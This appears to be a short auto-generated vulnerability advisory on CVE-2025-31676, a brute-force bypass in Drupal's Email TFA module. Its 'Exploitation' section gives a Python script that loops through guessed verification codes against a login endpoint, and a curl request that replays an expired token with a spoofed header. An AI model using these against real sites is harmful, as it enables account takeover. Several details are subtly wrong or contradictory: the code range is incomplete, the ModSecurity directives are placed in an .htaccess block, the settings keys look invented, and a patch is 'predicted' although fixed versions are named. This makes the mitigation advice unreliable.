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How the CVE Works:
CVE-2025-31676 exploits a weak authentication mechanism in Drupal’s Email TFA module (versions before 2.0.3). Attackers can bypass time-based one-time password (TOTP) checks by brute-forcing email verification codes due to insufficient rate limiting. The module fails to enforce lockout policies after repeated failed attempts, allowing attackers to guess valid codes within a short timeframe. Additionally, weak session handling permits re-use of expired tokens under certain conditions.
DailyCVE Form:
Platform: Drupal
Version: <2.0.3
Vulnerability: Brute Force Bypass
Severity: Critical
Date: 06/04/2025
Prediction: Patch expected by 07/15/2025
What Undercode Say:
Exploitation:
1. Brute-Force Script:
import requests
target_url = "https://<drupal-site>/user/login-tfa"
for code in range(1000, 9999):
response = requests.post(target_url, data={"code": str(code)})
if "Successful" in response.text:
print(f"Valid code: {code}")
break
2. Session Hijacking:
curl -X GET "https://<drupal-site>/session-id?token=EXPIRED_TOKEN" --header "X-Forwarded-For: 127.0.0.1"
Protection:
1. Immediate Mitigation:
.htaccess rate limiting <Location "/user/login-tfa"> SecRuleEngine On SecAction "id:1001,phase:1,nolog,pass,setvar:ip.brute_counter=+1" SecRule ip:brute_counter "@gt 5" "deny,status:403,id:1002" </Location>
2. Drupal Patch Workaround:
// Implement custom flood control in settings.php $settings['tfa_flood_limit'] = 5; $settings['tfa_flood_window'] = 3600;
3. Log Analysis Command:
grep "Failed TFA" /var/log/drupal/security.log | awk '{print $1}' | sort | uniq -c | sort -nr
4. WAF Rule (ModSecurity):
SecRule REQUEST_URI "@contains /user/login-tfa" "id:5001,phase:2,deny,log,msg:'TFA Brute Force Attempt'"
5. Patch Verification:
drush pm-updatestatus | grep "Email TFA"
Analytics:
- Attack Vector: Network-based, low complexity.
- Exploitability: High (no prerequisites).
- Impact: Full account compromise.
- Patch Priority: Immediate.
Note: Monitor Drupal Security Advisory SA-CORE-2025-003 for updates.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
